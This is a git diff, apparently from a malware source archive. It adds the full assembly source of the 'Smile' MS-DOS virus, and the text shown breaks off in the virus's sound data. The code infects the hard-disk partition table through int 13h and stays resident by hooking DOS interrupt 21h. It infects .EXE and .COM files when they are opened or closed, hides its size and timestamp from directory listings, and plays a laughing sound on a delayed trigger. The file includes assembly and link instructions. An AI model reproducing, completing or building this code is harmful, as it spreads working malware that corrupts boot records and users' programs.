49,152,242, 12,195,199, 61,143,136,217,142,103, 56,205,129 + db 144, 25,135,185,156, 63,152,202, 59,135, 55,137,230,122,108,220 + db 61,184,206,102, 62,102, 31,142,153,231,211,206,225,231,151,105 + db 246,199,241,249,143,195,246,159,147,223,142,209,251,143,227,157 + db 159, 99,207, 25,199, 24,126,143,230,120,158,113,218, 63,199,240 + db 237,142,131,159, 57,230,120,238, 63,227,152,231,142,115, 30,115 + db 140,249,230,117,227,156,251,140,227,188,119,152,241, 26, 96,206 + db 97,135, 61,199,159, 57,103,188,103, 24,241,248,115, 56,230, 6 + db 227,188,115,204,124, 31,141,193,214,115,198,119,135, 49,142, 60 + db 199, 48,115, 28,227,156,113,140,113,198, 24,198, 56,115, 26, 33 + db 205,204,131, 51, 31, 12,206, 60, 51,152, 49,206, 99,199, 51,140 + db 205,142, 60, 51,152,224,228,227,153, 49,198,198,227, 51,143, 14 + db 134, 54,118, 56,152,252, 99,227,185,207,143,198,103, 51,142,156 + db 159, 28,224,113,179,140,228,204, 39, 71,113,156,100,228,225,163 + db 137,204,158,103, 49,115, 12,193,204,199,139,204,204, 51,163, 26 + db 56,204,225,198, 27,211,120,255, 46,225,239, 31,135, 92,111, 27 + db 147,156,114,229,147,142, 49,204,103,142, 57,156,152,236, 28,131 + db 179,113,198, 32,238, 53, 15, 29,241,120,247, 62, 53, 25,158, 48 + db 11,153, 54, 15, 28,230, 28,241,220,241,206,225,175, 27,134,102 + db 103, 24,249,220,102,204,243, 51, 51,140,204,166, 51,103, 57,153 + db 147,103,104,206,121,204, 99,204,123, 60, 25, 38, 51, 98,218,123 + db 22, 70, 28,219, 44,147, 76,192,227,200, 49,205,164,219,154,102 + db 23, 54, 78, 60,218,100,216,210,100,241,228,231,201,167, 57,140 + db 54, 15,206, 51, 47, 35,136,201,153, 35,140,115,134, 58,115,102 + db 120,236,204,153,163,120,198, 51,152, 54,204,225,147,101,201, 51 + db 13,193,178, 62, 77,195, 52,207,202,204,120,193,142,108,209,227 + db 28, 97,147, 19,152, 56,227,142, 92,240,199, 30, 48,241,207, 25 + db 108,157,109,199,155, 28, 97,155, 39, 28,241,205, 30, 24,226,199 + db 28, 49,225,134, 56,229,154,108, 97,207, 62, 56,231, 14,124,200 + db 54, 76,227,156, 56,227,143, 12,104,231, 28,179,103, 60,249,227 + db 135, 28,120,227, 6, 24,115,139, 56, 56,199,134, 56,115,199, 60 + db 153,204,222,108,241,195, 30, 60, 49,199,142, 24,112,227,134,115 + db 51,155, 28,113,205,134,120,242, 99,143, 30,113,154, 44,249,231 + db 150,124,113,241,158, 25, 98,206, 92,179,231,143, 56,227,166, 12 + db 32,199, 48,105,147, 25,156,108,204, 28, 51, 39,198,153,176,224 + db 252,216,103, 30, 71,205,131, 1,204,217,145,114, 60, 62,125, 60 + db 31, 30, 76,158, 22,108,217, 25,176,204,158, 55,137,140,220,104 + db 226,204,105,241,204,201,227,204,201,227,140,203,195,156,207,199 + db 28,199,195,140,199,195,156,199,231,140,199,195,156,207,206,121 + db 159, 38, 57,153,142,121,153,156,241,145,140,241,179,153,241,178 + db 204,209,131,153,227, 38,217,205,151, 28,198,103, 59, 25, 50, 77 + db 153, 46,121,140, 39, 49,140, 51, 50,102, 76,115,198, 12, 99,156 + db 99,102,147,248,205,156,119,142,156,126, 76, 12,110, 77,152,236 + db 198, 56,102,102,120,220,243, 76,206,100,152,198, 49,153,152, 60 + db 223, 28,189, 55, 25,198, 15, 60,114, 14, 25, 51,207, 50,227, 19 + db 36, 67,223,102,199, 92,102,131, 4,100,115,126,236,214, 48,108 + db 77,191,204, 6,124,253,152, 32,255,136, 78,243,128,127,240, 59 + db 255, 0, 63,252, 15,251,192, 31,254, 3,255,192, 31,254, 3,255 + db 192, 63,252, 15,127, 0,127,240, 3, 16, 7,255,240, 32, 15,251 + +SampleEnd equ this byte + +;------------------------------------------------------------------------------ +; +; Variables +; +;------------------------------------------------------------------------------ + +Active db -1 +ActiveYear dw -1 +ActiveDate dw -1 + +OldInt8 equ this dword ; orginal interrupt 8 +OldInt8o dw -1 +OldInt8s dw -1 +OldInt1C equ this dword ; orginal interrupt 1ch +OldInt1Co dw -1 +OldInt1Cs dw -1 +OldInt21 equ this dword ; orginal interrupt 21h +OldInt21o dw -1 +OldInt21s dw -1 + +Count dw -1 ; timer count +SampleOffset dw -1 ; Used to make sound +SampleBit db -1 +SampleFlag db -1 +Handle db 24 dup(-1) ; Filehandles + +cseg ends + +;------------------------------------------------------------------------------ +; +; Orginal EXE-file +; +;------------------------------------------------------------------------------ + +mseg segment public 'code' + assume cs:mseg, ds:mseg, es:mseg + + + db 'MZ' ; header + dw PrgSize ; PartPage + dw 1 ; PageCount + dw 0 ; relocation items = 0 + dw 0 ; headersize = 0h + dw 80h ; minimum memory + dw 0ffffh ; maximum memory + dw (PrgSize+15)/10h ; ss + dw 7feh ; sp + dw 0 ; chksum + dw offset Orginal ; ip + dw 0 ; cs + dw 1ch ; offset relocation table + dw 0 ; overlay number + +Orginal: mov ah,9 ; display warning + push cs + pop ds + mov dx,offset Warning + int 21h + mov ax,4c00h + int 21h ; terminate + +Warning db 13,10 + db 'WARNING:',13,10 + db 13,10 + db 'Smile virus has now infected the partition table !!!!!',13,10 + db 13,10 + db '$' + +mseg ends + +sseg segment stack 'stack' + db 800h dup(?) +sseg ends + +end Main + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.smile1.asm b/MSDOS/Virus.MSDOS.Unknown.smile1.asm new file mode 100644 index 00000000..02c5ae34 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.smile1.asm @@ -0,0 +1,1142 @@ +;------------------------------------------------------------------------------ +; +; Virus Name: Smile +; Origin: Holland +; Eff Length: 4,096 bytes +; Type Code: PRhE - Parasitic Resident .EXE & partition table infector +; +;------------------------------------------------------------------------------ +; +; This program is assembled with TASM V1.01 from Borland International +; (assembing with MASM V5.10 from Microsoft Inc. is also possible). +; +; TASM smile; +; LINK smile,,smile; +; +;------------------------------------------------------------------------------ +; +; Interrupt vectors +; +;------------------------------------------------------------------------------ + +iseg segment at 0 + org 8*4 +Int8o dw 0 ; interrupt vector 21h +Int8s dw 0 + + org 1ch*4 +Int1Co dw 0 ; interrupt vector 21h +Int1Cs dw 0 + + org 21h*4 +Int21o dw 0 ; interrupt vector 21h +Int21s dw 0 + +iseg ends + +cseg segment public 'code' + assume cs:cseg,ds:cseg,es:cseg + +;------------------------------------------------------------------------------ +; +; Header of EXE-file +; +;------------------------------------------------------------------------------ + +VirusSize equ 1580h ; size of virus + ; this one is very important, + ; if it isn't set right the + ; virus will hang every + ; infected file + +PrgSize equ 73h ; size of prg after the virus + ; this is used in the header + ; of the dummy program + + ; the value of these constants + ; can be determined by creating + ; a map-file with the linker. + +Signature dw 0 ; signature 'MZ' +PartPage dw 0 ; size of partitial page +PageCount dw 0 ; number of pages +ReloCount dw 0 ; number of relocation items +HeaderSize dw 0 ; size of header +MinMem dw 0 ; minimum memory needed +MaxMem dw 0 ; maximum memory needed +ExeSS dw 0 ; initial SS +ExeSP dw 0 ; initial SP +CheckSum dw 0 ; unused ??? +ExeIP dw 0 ; initial IP +ExeCS dw 0 ; initial CS +ReloOffset dw 0 ; offset of relocationtable +OverlayNr dw 0 ; number of overlay + +ComSize dw -1 ; Size of com-file (-1 for exe) + +;------------------------------------------------------------------------------ +; +; This procedure is called when starting from an exe-file +; +;------------------------------------------------------------------------------ + +Main: pushf ; save flags + sub sp,4 ; reserve space far cs:ip + push ax ; save other registers + push ds + push es + sti ; enable interrupts + cmp cs:ComSize,-1 ; com or exe-file + je ExeFile ; -1 : exe-file +ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max + mov bp,sp ; set cs:ip on stack for + mov word ptr [bp+8],ds ; returning to the orginal + mov word ptr [bp+6],100h ; program + mov bp,ds ; bp : stacksegment + mov ax,cs ; bx : begin of com-file + add ax,(VirusSize/10h) + mov bx,ax + mov cx,0ff0h ; cx : size of data to move + add ax,cx ; es : buffer for mover and + mov es,ax ; infecting the bootsect. + push cs ; ds : codesegment + pop ds + jmp short InfectBoot ; infect bootsector +ExeFile: mov dx,cs ; Relocation + add dx,(VirusSize/10h) + mov ds,dx + mov cx,ReloCount ; number of relocation items + add dx,HeaderSize ; size of exe-header + mov si,ReloOffset ; offset of 1st relocation item + jcxz NoRelo +NextRelo: lodsw ; offset + mov di,ax + lodsw ; segment + add ax,dx + mov es,ax + mov ax,cs ; relocation factor + add es:[di],ax + loop NextRelo ; next relocation item +NoRelo: mov bp,sp + mov ax,cs ; set cs:ip on stack for + add ax,ExeCS ; returning to the orginal + mov [bp+8],ax ; program + mov ax,ExeIP + mov [bp+6],ax + mov bp,cs ; bp : stacksegment + add bp,ExeSS + mov ax,PageCount ; calculate size of exe-file + mov dx,PartPage ; in paragraphs + add dx,-1 + sbb ax,0 + mov cl,4 + shr dx,cl + inc dx + inc cl + shl ax,cl + add dx,ax + add dx,MinMem ; dx : size of exe-file + mov cx,dx ; cx : size of code and data + sub cx,HeaderSize + mov bx,cs ; bx : start of code and data + mov ds,bx + add bx,(VirusSize/10h) + add bx,dx + mov es,bx ; es : buffer for mover and + sub bx,cx ; infecting the bootsect. +InfectBoot: push bx ; save bx and cx + push cx + mov ax,201h ; read bootsector from disk + xor bx,bx + mov cx,1 + mov dx,80h + int 13h + jc BootOk ; error ? + mov si,offset BootSector ; compare with infected code + xor di,di + mov cx,1*BootSize + cld + repe cmpsb + je BootOk ; equal ? + mov di,1beh+8 ; check partitions, we don't + mov cx,4 ; want to overwrite them +NextPartition: cmp word ptr es:[di+2],0 + ja SectOk + cmp word ptr es:[di],(VirusSize+1ffh)/200h+1 + ja SectOk + cmp word ptr es:[di],0 + ja BootOk +SectOk: add di,10h + loop NextPartition + mov si,offset BootSector ; exchange code from bootsector + xor di,di ; with viral code + mov cx,1*BootSize + cld + call Swapsb + push es ; write virus to disk + pop ds + push cs + pop es + mov ax,(VirusSize+1ffh)/200h+300h + mov cx,2 + int 13h + push ds + pop es + push cs + pop ds + jc BootOk ; error ? + mov ax,301h ; write bootsector to disk + mov cx,1 + int 13h +BootOk: pop cx ; restore bx and cx + pop bx + mov dx,cs ; dx = destenation segment + xor di,di + push es ; push seg:ofs of mover + push di + push cx ; save cx + mov cx,1*MoverSize + mov si,offset Mover + cld ; copy mover-procedure + rep movsb + pop cx ; restore cx + cli ; disable interrupts + retf ; jump to mover + +Mover: mov ax,cx ; save cx + mov ds,bx ; ds:si = source + mov es,dx ; es:di = destenation + xor si,si + xor di,di + mov cx,8h ; copy one paragraph + rep movsw + inc bx + inc dx + mov cx,ax ; restore cx + loop Mover ; next paragraph + mov ss,bp ; ss = new stacksegment + sti ; enable interrupts + pop es ; restore registers + pop ds + pop ax + iret ; jump to program + +MoverSize equ ($-Mover) + +;------------------------------------------------------------------------------ +; +; Bootsector startup +; +;------------------------------------------------------------------------------ + +Bootsector: cli ; disable interrupts + xor bx,bx ; setup stack and ds + mov ds,bx + mov ss,bx + mov sp,7c00h + sti ; enable interrupts + mov ax,ds:[413h] ; get size of base memory + sub ax,(VirusSize+3ffh)/400h; subtract virussize + mov ds:[413h],ax ; store new memory size + mov cl,6 ; calculate segment + shl ax,cl + mov es,ax ; load virus in reserved mem + mov ax,(VirusSize+1ffh)/200h+200h + mov cx,2 + mov dx,80h + int 13h + mov bx,offset StartUp ; bx=offset startup + push es ; jump to startup (es:bx) + push bx + retf + +BootSize equ ($-Bootsector) ; size of bootsector part + +StartUp: cli ; disable interrupts + mov ax,offset Interrupt1C ; hack interrupt 1C + xchg ax,ds:Int1Co + mov cs:OldInt1Co,ax + mov ax,cs + xchg ax,ds:Int1Cs + mov cs:OldInt1Cs,ax + mov cs:OldInt21o,-1 + mov cs:OldInt21s,-1 + mov cs:Count,-1 + sti ; enable interrupts + push cs ; ds=cs + pop es + mov si,7c00h ; di=7c00h (Bootsector) + mov di,offset BootSector ; si=BootSector + mov cx,1*BootSize ; bytes to copy + cld ; copy forward + call Swapsb ; restore orginal boot + mov ax,7c00h ; offset bootsector + push ds ; jump to bootsector + push ax + retf + +Interrupt8: push ax ; save registers + push si + push ds + push cs + pop ds + mov si,SampleOffset ; get offset of next bit + dec byte ptr ds:SampleBit + test byte ptr ds:SampleBit,7 + jnz OfsOk + inc si + cmp si,offset SampleEnd ; end of sample ? + jb OfsOk ; no, play bit + mov al,34h ; reset int 8 frequency + out 43h,al + xor ax,ax + out 40h,al + out 40h,al + mov ds,ax ; reset int 8 vector + mov ax,cs:OldInt8o + mov ds:Int8o,ax + mov ax,cs:OldInt8s + mov ds:Int8s,ax + inc byte ptr cs:SampleFlag ; set sample ready flag + jmp short ExitInt8 ; end of interrupt +OfsOk: mov SampleOffset,si ; store offset + rol byte ptr ds:[si],1 ; next bit + mov ah,ds:[si] ; get bit value + and ah,1 + shl ah,1 + in al,61h ; get value of io-port 61h + and al,0fch ; reset last 2 bits + or al,ah ; set bit 2 with sample value + out 61h,al ; write to io-port 61h +ExitInt8: mov al,20h ; end of interrupt signal + out 20h,al + pop ds ; restore registers + pop si + pop ax + iret ; return to program + +Interrupt1C: push ds ; save registers + push ax + push bx + xor ax,ax ; interrupts vectors + mov ds,ax + mov ax,ds:Int21o + cmp cs:OldInt21o,ax + jne Changed + mov ax,ds:Int21s + cmp cs:OldInt21s,ax + je Equal +Changed: mov ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,ds:Int21s + mov cs:OldInt21s,ax + mov cs:Count,182 + jmp short NotReady +Equal: dec cs:Count + jnz NotReady + mov ax,cs:OldInt1Co ; restore vector 1C + mov ds:Int1Co,ax ; (This interrupt) + mov ax,cs:OldInt1Cs + mov ds:Int1Cs,ax + mov ax,offset Interrupt21 ; Hack interrupt 21 + xchg ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,cs + xchg ax,ds:Int21s + mov cs:OldInt21s,ax + mov ax,16 + mov bx,offset Handle +NextHandle: mov byte ptr cs:[bx],0 + inc bx + dec ax + jnz NextHandle + mov byte ptr cs:Active,-1 +NotReady: pop bx + pop ax ; restore registers + pop ds + jmp cs:OldInt1C ; do orginal int 1C + +Swapsb: mov al,es:[di] ; exchange two memory bytes + xchg al,ds:[si] + stosb + inc si + loop Swapsb ; next byte + ret ; return + +;------------------------------------------------------------------------------ +; +; Manipilated functions +; +;------------------------------------------------------------------------------ + +Functions db 11h ; 1 + dw offset FindFCB + db 12h ; 2 + dw offset FindFCB + db 30h ; 3 + dw offset DosVersion + db 3ch ; 4 + dw offset Open + db 3dh ; 5 + dw offset Open + db 3eh ; 6 + dw offset Close + db 42h ; 7 + dw offset Seek + db 45h ; 8 + dw offset Duplicate + db 46h ; 9 + dw offset Redirect + db 4eh ; 10 + dw offset Find + db 4fh ; 11 + dw offset Find + db 5bh ; 12 + dw offset Open + db 6ch ; 13 + dw offset OpenCreate + +FunctionCount equ 13 + +;------------------------------------------------------------------------------ +; +; The orginal interrupt 21h is redirected to this procedure +; +;------------------------------------------------------------------------------ + +DosVersion: push ax + push cx + push dx + push ds + push cs + pop ds + cmp cs:Active,0 + je NotActive + mov ah,2ah + call DOS + cmp ActiveYear,cx + jb NotActive + cmp ActiveDate,dx + jb NotActive + cli + xor ax,ax + mov ds,ax + mov ax,offset Interrupt8 + xchg ax,ds:Int8o + mov cs:OldInt8o,ax + mov ax,cs + xchg ax,ds:Int8s + mov cs:OldInt8s,ax + mov al,34h + out 43h,al + mov al,80h + out 40h,al + mov al,0 + out 40h,al + push cs + pop ds + mov byte ptr SampleFlag,0 + mov byte ptr SampleBit,0 + mov word ptr SampleOffset,offset SampleData + sti +Delay: cmp byte ptr SampleFlag,0 + je Delay + mov byte ptr Active,0 +NotActive: pop ds + pop dx + pop cx + pop ax + jmp Old21 + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + pushf ; save registers + push ax + push bx + push es + mov ah,2fh ; get DTA + call DOS + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],VirusSize + sbb word ptr es:[bx+1eh],0 ; adjust file-size + jmp short Time + +Find: call DOS ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call DOS + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize + sbb word ptr es:[bx+1ch],0 ; change file-size +Time: xor byte ptr es:[bx+16h],1fh; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +Ret1: retf 2 ; return + +Seek: or bx,bx ; bx=0 ? + jz Old21 ; yes, do orginal interrupt + push bx + call FindHandle + pop bx + jc Old21 +Stealth: or al,al ; seek from top of file ? + jnz Relative ; no, don't change cx:dx + add dx,VirusSize ; change cx:dx + adc cx,0 +Relative: call DOS ; Execute orginal int 21h + jc Ret1 ; Error ? + sub ax,VirusSize ; adjust dx:ax + sbb dx,0 + jmp short Ret1 ; return + +Close: or bx,bx ; bx=0 ? + je Old21 ; yes, do orginal interrupt + push ax + push cx + push dx + push si + push ds + push cs ; ds=cs + pop ds + push bx + call FindHandle + mov si,bx + pop bx + jc DoNotUpdate + mov word ptr ds:[si],0 + cmp byte ptr ds:[si+2],0 + je DoNotUpdate + call UpdateHeader +DoNotUpdate: pop ds ; restore registers + pop si + pop dx + pop cx + pop ax +Not2: jmp short Old21 ; continue with orginal int + +Interrupt21: push bx ; after an int 21h instruction + push cx ; this procedure is started + mov bx,offset Functions + mov cx,FunctionCount +NxtFn: cmp ah,cs:[bx] ; search function + je FunctionTrap + add bx,3 + loop NxtFn + pop cx ; function not found + pop bx +Old21: jmp cs:OldInt21 + +FunctionTrap: push bp ; function found, start viral + mov bp,sp ; version of function + mov bx,cs:[bx+1] + xchg bx,[bp+4] + mov cx,[bp+10] + xchg cx,[bp+2] + pop bp + popf + ret + +Duplicate: call DOS + jc Error + pushf + push bx + push dx + call FindHandle + jc Ret3 + mov dl,cs:[bx+2] + mov bx,ax + call StoreHandle +Ret3: pop dx + pop bx + popf + jmp Ret2 + +Redirect: call DOS + jc Error + pushf + push bx + push cx + xchg bx,cx + call FindHandle + jc Ret4 + mov cs:[bx],cx +Ret4: pop cx + pop bx + popf + jmp Ret2 + +OpenCreate: or al,al ; extended open/create function + jne Old21 ; no, do orginal interrupt 21 + push dx ; save dx + mov dx,si ; check extension of filename + call CheckName + pop dx ; retore dx + jc Old21 ; exe or com-file? + jmp short ExtensionOk ; yes, infect file or use + ; stealth + +Open: call CheckName ; exe or com-file ? + jc Old21 ; no, do orginal int 21 +ExtensionOk: call DOS ; do interrupt 21 + jnc NoError ; error ? +Error: jmp Ret2 ; yes, return and do nothing +NoError: pushf ; save registers + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov bx,ax ; bx = file handle + mov ax,4400h ; get device information + call DOS + jc PopRet ; error ? + test dx,80h ; character device + jnz PopRet ; yes, return and do nothing + call EndOfFile ; get file size + or ax,dx ; 0 ? + jnz FileExists ; no, file already existed +FileCreated: call HandleFree + jc PopRet + mov ah,2ah + call DOS + add dh,3 + cmp dh,12 + jbe DateOk + inc cx + sub dh,12 +DateOk: mov ActiveYear,cx + mov ActiveDate,dx + mov ah,40h ; write virus to file + mov cx,VirusSize + call Zero2 + jc NoVir ; error ? yes, return + xor ax,cx ; entire virus written ? + jnz NoVir ; no, return + mov dl,1 + call StoreHandle + jmp short PopRet ; return +FileExists: call TopOfFile ; go to top of file + call HandleFree + jc PopRet ; no, do nothing + call ReadHeader ; read exe-header + jc NoVir ; error ? + xor ax,cx ; entire header read + jne NoVir ; no, not infected + cmp Signature,5a4dh ; signature = 'MZ' ? + jne NoVir ; no, not infected + cmp HeaderSize,ax ; headersize = 0 ? + jne NoVir ; no, not infected + cmp CheckSum,0DEADh ; checksum = DEAD hex + jne NoVir ; no, not infected + mov dl,0 + call StoreHandle + mov dx,VirusSize ; seek to end of virus + jmp short Infected +NoVir: xor dx,dx +Infected: xor cx,cx ; go to end of virus if file + mov ax,4200h ; is infected + call DOS +PopRet: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + popf +Ret2: retf 2 ; return + +;------------------------------------------------------------------------------ + +EndOfFile: mov ax,4202h ; go to end of file + jmp short Zero1 + +TopOfFile: mov ax,4200h ; go to top of file +Zero1: xor cx,cx + jmp short Zero2 + +WriteHeader: mov ah,40h ; write exe-header to file + jmp short Hdr + +ReadHeader: mov ah,3fh ; read exe-header from file +Hdr: mov cx,1eh +Zero2: xor dx,dx + +DOS: pushf ; call orginal interrupt + call cs:OldInt21 + ret + +FindHandle: push ax + push cx + mov ax,bx + mov bx,offset Handle + mov cx,8 +NotFound: cmp ax,cs:[bx] + je Found + inc bx + inc bx + inc bx + loop NotFound + stc +Found: pop cx + pop ax + ret + +HandleFree: push bx + xor bx,bx + call FindHandle + pop bx + ret + +StoreHandle: push bx + push bx + xor bx,bx + call FindHandle + pop cs:[bx] + mov cs:[bx+2],dl + pop bx + ret + +CheckName: push ax ; check for .exe or .com + push cx ; save registers + push si + push di + xor ah,ah ; point found = 0 + mov cx,100h ; max length filename = 100h + mov si,dx ; si = start of filename + cld +NxtChr: lodsb ; get byte + or al,al ; 0 ? + je EndName ; yes, check extension + cmp al,'\' ; \ ? + je Slash ; yes, point found = 0 + cmp al,'.' ; . ? + je Point ; yes, point found = 1 + loop NxtChr ; next character + jmp short EndName ; check extension +Slash: xor ah,ah ; point found = 0 + jmp NxtChr ; next character +Point: inc ah ; point found = 1 + mov di,si ; di = start of extension + jmp NxtChr ; next character +EndName: cmp ah,1 ; point found = 0 + jne NotExe ; yes, not an exe-file + mov si,di ; si = start of extension + lodsw ; first 2 characters + and ax,0dfdfh ; uppercase + mov cx,ax + lodsb ; 3rd character + and al,0dfh ; uppercase + cmp cx,04f43h ; extension = .com ? + jne NotCom + cmp al,04dh + je ChkRet +NotCom: cmp cx,05845h ; extension = .exe ? + jne NotExe + cmp al,045h + je ChkRet +NotExe: stc ; set carry flag +ChkRet: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return + +UpdateHeader: mov ax,4200h ; position read/write pointer + xor cx,cx ; at the end of the virus + mov dx,VirusSize + call DOS + call ReadHeader ; read orginal exe-header + cmp Signature,5a4dh + je InfectExe +InfectCom: mov Signature,5a4dh + mov ReloOffset,01ch + mov OverlayNr,0 + mov ExeSS,(VirusSize-100h)/10h + mov ExeSP,0fffeh + call EndOfFile + sub ax,VirusSize + sbb dx,0 + mov ComSize,ax + mov cx,10h + div cx + sub dx,1 + mov dx,0ff2h+20h + sbb dx,ax + mov MinMem,dx + jmp WriteIt +InfectExe: mov ComSize,-1 + mov ax,(VirusSize/10h) + add ax,HeaderSize + add ExeSS,ax + add MinMem,20h + add MaxMem,20h + jnc MaxOk +WriteIt: mov MaxMem,0ffffh +MaxOk: mov ReloCount,0 + mov HeaderSize,0 + mov CheckSum,0DEADh + mov ExeCS,0 + mov ExeIP,offset Main + call EndOfFile + mov cx,200h + div cx + mov PartPage,dx + add dx,-1 + adc ax,0 + mov PageCount,ax + call TopOfFile + call WriteHeader ; write header at the top of + jc InfErr ; the virus + mov ax,5700h + call DOS + mov ax,5701h + or cl,1fh + call DOS +InfErr: ret + +;------------------------------------------------------------------------------ +; +; Data to generate the Laugh sound +; +;------------------------------------------------------------------------------ + +SampleData db 249,220,204,102, 51, 51,116,102,227, 6, 28,216,243,129,131, 54 + db 140,204,226,227, 51, 18, 25,184, 98,199,131, 30, 25,204,204,193 + db 230, 79, 28,248, 98,241,142,199, 51, 24,228,249,179, 44,221,241 + db 54, 71,254, 46, 8,255,139,227, 59,196,241, 49,198,208,243,205 + db 193,115,155,131,206, 46, 14,177,176, 51,205,129,158, 54,142,113 + db 144,115,140,135, 56,240, 55,205,131,188,124, 51,199,195,156,120 + db 25,199,129,156, 76, 49,197,195, 28,110, 57,231,129,156,120, 25 + db 197,145,156,108, 25,102,201,158, 46, 12,113,224,231,141,163, 60 + db 76, 25,227,104,228,229,131,131,154,157, 24,102,114,206, 71,193 + db 241, 14,229,140, 55,196,241,125, 89, 27, 29,195,240,157, 30, 68 + db 193,246, 57,135, 99, 56,238, 25,134,196,241,230, 24, 6, 24,176 + db 231, 51,142,113,178,113,205, 55,160, 67, 57,198,143,177,147, 56 + db 115,135, 89,193,157, 56,103,156,112,115,102,217,227, 30, 76,121 + db 156,241, 35, 71, 56,227,155, 12,103,190, 56,115,198,105,150, 97 + db 142, 28,113,230, 50, 60,185,201,156, 76,248,231, 13,204,248,100 + db 199, 39, 28,113,198, 70, 71, 54,124,219, 99,135, 48, 62, 25,131 + db 112,196, 31, 14, 51,225,225, 56,110, 1,206, 51,147,110, 15,129 + db 252,127, 7,113,184, 29,135,192,236, 62, 7,227,224,127, 31, 3 + db 176,240, 63,143, 1,216,248, 29,143,131,184,248, 63, 15,131,112 + db 248,102, 28,134,225,208,238, 61, 12,199,161,220, 90, 25,199, 35 + db 184,244, 51,139, 67, 56,164,119, 22,134,115,104,238, 60,140,226 + db 217,206,105, 25,204,179, 28,211, 51,137, 38, 57,180,199, 50, 76 + db 115, 44,199, 50,156,230, 73,142,101,152,230, 89,142,116,153,230 + db 217,158,109,153,227, 65,142, 54, 14,241,176,102,198, 17,199, 26 + db 14,204,105, 59, 49,131,156,153,135,135, 19, 24, 30, 59,134, 99 + db 188, 48,195,112,198, 57,216,198, 44,110, 76,205, 50, 76,176,110 + db 19, 49,215, 48,222,199, 15,153,102,107, 38,195, 50,108, 51, 44 + db 113,228,201, 60,204,241,204,184,100,204,198, 57,227, 32, 30,127 + db 193,156,113,184,155, 24,201,201, 48,108,231,134, 70,112,102, 28 + db 103,115,177,118, 49,135, 19, 57,177,155, 31, 28,121,248,230, 31 + db 134, 96,248,230, 60,102,115, 51, 28, 51, 25,137,153,140,223,153 + db 197,198, 92, 46,115, 99,243,115, 25,179, 57,153,177,217,248,207 + db 76,204,243, 51, 27, 60,201,140,115, 28, 99, 51,137,227, 56,127 + db 19,185,222,115,241,230, 31,129,224,252, 15, 7,225,248, 62, 15 + db 131,224,120, 62, 7,129,240,120, 30, 7,129,224,124, 62,135,135 + db 145,240,241, 62, 60,143, 15,145,225,228,120,124, 15, 15, 3,227 + db 228,120,124, 31, 27,131,227, 96,252,108,159, 13,147,163,176,116 + db 118, 14, 7,193,224,248, 60, 31, 7,195, 96,232,108, 28, 13,131 + db 147,241,240,116, 62, 14,135,193,240,248, 62, 15, 14,192,225,216 + db 152, 63, 27, 15,195,193,248,124, 63, 15, 7,224,240,254, 30, 14 + db 227,192,238, 60, 30,227,224,231,143, 67,172,121,158, 51,144,112 + db 230, 88,207,193,179, 59,135, 99,198, 12,204,241,219, 7, 19,240 + db 228,110, 31,133,193, 48,120,230, 44,205,225,158, 54, 49,166,120 + db 220, 19,140,131,176,116, 79,131,129,204,124, 31, 3,193,249,204 + db 140,150, 38, 72,199,153,152,248,126,142, 79,131,131,248,190, 31 + db 15,195,241,120,236, 96,204,143, 14, 57, 57,248,110, 62,103, 33 + db 216,248, 57, 31, 6,102,120,207, 28,216, 14, 6, 99, 96,204, 60 + db 121, 51, 67,137,207, 17,156, 57, 30, 11,198,230, 51, 51,157,179 + db 148, 96,247,113,192,204,206, 15, 35,152, 28, 30, 38,224,248,153 + db 206,227,225,113,142, 67,152,152, 89, 56,131,134,242, 56,227, 28 + db 23,131,120, 62, 15,225,248, 63, 7,193,240,126, 15,129,224,124 + db 31, 7,192,248, 62, 15,131,224,248, 62, 15,131,224,248, 60, 15 + db 135,208,248,121, 31, 15, 33,225,228, 60, 30, 71,195,200,248,124 + db 15,135,193,248,248, 31, 31,131,225,240, 62, 31, 3,131,240,120 + db 59, 15, 3,176,102, 55, 14,195,112,236, 55, 15,195,112,252, 55 + db 143,195,248,240, 63,143, 3,184,249, 27,199,161,252, 57, 31,195 + db 193,252, 60, 31, 99,192,242, 60, 79, 25,230,121,207,177,206, 62 + db 199, 24,240, 30, 51,192,240,252, 27,143,161,240,126, 30,135,192 + db 248, 60, 31,135,192,248,126, 15,135,129,196,184, 47, 13,195,216 + db 126, 27,135,201,226, 28, 70, 13,226,112,124, 71, 3,231,188, 78 + db 30, 24,227,241,234, 62, 15,161,248, 62, 15, 7,112, 90, 99,112 + db 230, 25,147,225,240,110, 61,198,240,116, 29, 23,103, 48,240, 58 + db 47,143,113,206, 51,198,192,126, 62, 15, 7, 97,236, 62, 31, 7 + db 240,254, 63, 15,195,240,190, 31,143,128,248, 62, 63,143, 99,152 + db 243, 60, 31, 7,129,216, 28, 7, 12,211,188,124, 7, 39,192,116 + db 119, 14,195,156,120,188, 7,195,192,239, 31,131,196,120,220, 19 + db 204,120,147,248, 89,129,216,223,140,252,253,143, 60,237,143, 28 + db 207,142,120,223, 30,241,254, 57,227,252, 99,139,177,158, 46,133 + db 248,242, 14,199,192,251, 31, 2,236,249, 31,115,228, 29,139,160 + db 236, 